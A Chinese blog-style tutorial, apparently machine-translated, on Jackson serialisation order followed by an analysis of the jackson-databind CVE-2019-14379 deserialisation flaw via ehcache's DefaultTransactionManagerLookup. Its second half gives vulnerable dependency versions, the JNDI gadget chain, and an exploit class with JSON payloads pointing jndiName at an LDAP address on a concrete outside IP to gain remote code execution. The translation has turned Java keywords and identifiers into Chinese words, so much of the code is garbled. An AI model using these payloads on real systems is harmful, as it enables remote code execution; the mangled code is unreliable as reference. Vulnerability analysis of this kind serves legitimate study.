这篇文章主要介绍了杰克森的使用及CVE-2019-14379漏洞分析阿克森知识点序列化和反序列化,集合名称和getName调用顺序,通过实例代码讲解的很详细,需要的朋友可以参考下
杰克逊是当前用的比较广泛的,用来序列化和反序列化json的Java 语言(一种计算机语言,尤用于创建网站)语言(一种计算机语言,尤用于创建网站)的开源框架杰克逊。社区相对比较活跃,更新速度也比较快,从开源代码库中的统计来看,杰克逊是最流行的json解析器之一。今天给大家介绍杰克逊知识点序列化和反序列化的时候,集合名称和getName调用顺序:
学生。java:
包com。测试。杰克逊试验;
公共课学生{
私有字符串名称;
私有整数年龄;
私教老师;
公共学生(){
System.out.println(学生构造方法被调用);
};
公共字符串getName() {
系统。出去。println(11111);
返回名称;
}
公共void集合名称(字符串名){
系统。出去。println(2222);
this.name=name
}
公共整数getAge() {
回归年龄;
}
公共空的存储(整数年龄){
this.age=年龄;
}
公立教师getTeacher() {
回报老师;
}
public void setTeacher(教师教师){
this.teacher=老师;
}
@覆盖
公共字符串toString() {
返回"学生"
name= name
,年龄=年龄
,老师=老师
};
}
}
在集合名称和getName处,新增输出语句:
调用测试类:
杰克逊序列化和反序列化:
@测试
公共void test2()抛出IOException {
//序列化对象转json字符串
学生学生=新生();
学生。集合名称(“jack”);
学生。setage(20);
学生.教师(新老师(‘卢阿’,33));
对象映射器object mapper=new object mapper();
//序列化JSON串时,在值上打印出对象类型
对象映射器。enabledefaulttyping(对象映射器.默认输入。非_最终);
字符串结果=对象映射器。writevalueasstring(学生);
System.out.println(结果);
//反序列化json字符串转对象
字符串JSON结果=[ com。测试。杰克逊斯特。学生,{ 姓名:杰克,年龄:20,老师:[ com。测试。杰克逊斯特。老师,{ 姓名: lua ,年龄:33 }]}];
stu=对象映射器。读取值(JSON结果,学生。类);
系统。出去。println(stu);
}
输出结果:
学生构造方法被调用
2222
11111
[com.test.JackSonTest.Student ,{name:jack , age:20, teacher :[ com .测试。杰克逊斯特。老师,{ 姓名: lua ,年龄:33}]}]
学生构造方法被调用
2222
教师构造方法被调用
学生{name=jack ,年龄=20,老师=老师{name=lua ,年龄=33}}
结论:在序列化的时候调用设置*,然后调用获取*方法,反序列化的时候会调用设置*方法,不会调用获取*方法,调用反序列化的json数据对应的类构造方法
CVE-2019-14379漏洞分析:
影响杰克逊到2.9.9.1:
这个漏洞还是比较有意思的,其他的cve,我都看了下,都比较简单:
先安装漏洞环境依赖:
pom.xml:
属国
groupId com。更快的XML。杰克逊。核心/群组Id
artifact id Jackson-databind/artifact id
版本2 .9 .8/版本
/依赖关系
属国
groupIdnet.sf.ehcache/groupId
artifactIdehcache/artifactId
版本2 .10 .6/版本
/依赖关系
属国
groupIdjavax/groupId
artifact id javaee-API/artifact id
版本6.0/版本
/依赖关系
单单有ehcache依赖是不行的,还得有javaee包,否则调用ehcache的时候,会提示找不到!
反序列化的恶意类是:net。SF。ehcache。交易。经理。defaulttransactionmanagerlookup
因为代码量的原因,直接静态调试了,不是很难,通过反射进入代码:
进入类:
找到这段代码:
公共空集属性(属性属性){
如果(属性!=null) {
字符串jndiName=属性。getproperty( jndiName );
if (jndiName!=null) {
这个。defaultjndiselector。设置jndiName(jndiName);
}
}
}
获取jndiName的值,然后设置jndiName:
继续看这个类的其他方法:
public DefaultTransactionManagerLookup(){
这个。transactionmanagerselectors=新选择器[]{ this。defaultjndiselector,new GlassfishSelector(),new WeblogicSelector(),new BitronixSelector(),new AtomikosSelector()};
}
定义数组,存储了这些数据,其中包含了this.defaultJndiSelector,这是重点,等下会用到
this.defaultJndiSelector的来源:
private final JndiSelector defaultJndiSelector=new GenericJndiSelector();
发现默认选择者实例化了通用选择符
这个等下要用到,这个先标记下。
继续看这个类的其他方法:getTransactionManager():
代码如下:
公共事务管理器getTransactionManager(){
if (this.selector==null) {
这个。锁定。lock();
尝试{
if (this.selector==null) {
这个。lookuptransactionmanager();
}
}最后{
这个。锁定。unlock();
}
}
返回这个。选择器。gettransactionmanager();
}
跟进去this.lookupTransactionManager():
其中
选择器[]var 1=this。transactionmanagerselectors
int var 2=var 1。长度;
获取的数组内容,就是DefaultTransactionManagerLookup类提供的,继续往下走代码:
跟进去:
公共事务管理器getTransactionManager(){
如果(这个。事务管理器==null){
这个。事务管理器=this。dolookup();
}
返回this.transactionManager
}
调用this.doLookup()方法:
跟进去:
跟进到了选择器类,发现这是个抽象类:
以前写文章说过,java基础:抽象类方法的实现在他的子类继承,如果想实现抽象类中的方法,需要子类继承父类,然后重写方法。
寻找他的子类:
跟进去看看:
快速找多洛库普的具体实现:
把代码搞出来:
受保护的事务管理器doLookup() {
初始上下文
尝试{
初始上下文=新的初始上下文();
} catch (NamingException var14) {
LOG.debug(无法创建初始上下文,var 14);
返回空
}
尝试{
TransactionManager var3
尝试{
对象JNDI对象=初始上下文。查找(这个。get jndiname());
如果(事务管理器的jndiObject实例){
var 3=(事务管理器)JNDI对象;
返回var3
}
发现调用查找,远程调用我们的jndiName,jndiName可以通过性能设置:
对象JNDI对象=初始上下文。查找(这个。get jndiname());
至此都分析完了,触发jndi远程调用的文件是:net/SF/ehcache/ehcache/2。10 .6/ehcache-2。10 .6 .罐子!/net/SF/ehcache/transaction/manager/selector/jndiselector。班级
只要我们设置我们的jndiName为恶意地址,并且调用getTransactionManager方法,即可实现rce:
构造exp:
包com。测试。杰克逊试验;
导入com。更快的XML。杰克逊。数据绑定。对象映射器;
导入com。MySQL。JDBC。迷你管理员;
进口网。SF。ehcache。交易。经理。defaulttransactionmanagerlookup;
导入org。JDOM。转变。xsltransformexception
导入org。JDOM。转变。xsl转换器;
导入Java。io。io异常;
导入Java。SQL。SQL异常;
导入Java。util。属性;
公共类攻击Jdbc {
公共静态void main(String[] args)引发ClassNotFoundException、IOException、SQLException、XSLTransformException {
对象映射器object mapper=new object mapper();
班级。forname( org。JDOM。转变。xsl transformer’);
班级。forname( net。SF。ehcache。交易。经理。defaulttransactionmanagerlookup’);
object mapper . enabledefaulttyping(object mapper。default typing . NON _ FINAL);
string JSON 2=[ net . SF . ehcache . transaction . manager . defaulttransactionmanagerlookup ,{ properties :[ Java . util . properties ,{ jndiName : LDAP://119 . 45 . 227 . 86:123 }]];
object o=object mapper . read value(JSON 2,object . class);
object mapper . writevalueasstring(o);
}
}
这里writeValueAsString要序列化一次,因为只有调用get方法才能触发lookup远程调用,所以需要序列化一次。
运行代码:
至于恶意json的构造,参考开头写的测试类中序列化的生成。我是基于序列化的json的产生而推导出来的恶意json。
浅蓝提供的Exp是:
string POC=[ net . SF . ehcache . transaction . manager . defaulttransactionmanagerlookup ,{ properties :{ jndiName : LDAP://119 . 45 . 227 . 86:123/hello }];
这里的执行提示我json格式是错误的.
真的学到了很多,哈哈哈,挺有意思的,虽然实战很鸡肋。
漏洞分析参考文章:
https://b1ue.cn/archives/189.html
以上是CVE-2019-14379的jackjson使用细节和漏洞分析。有关杰克森CVE-2019-14379漏洞的更多信息,请关注我们的其他相关文章!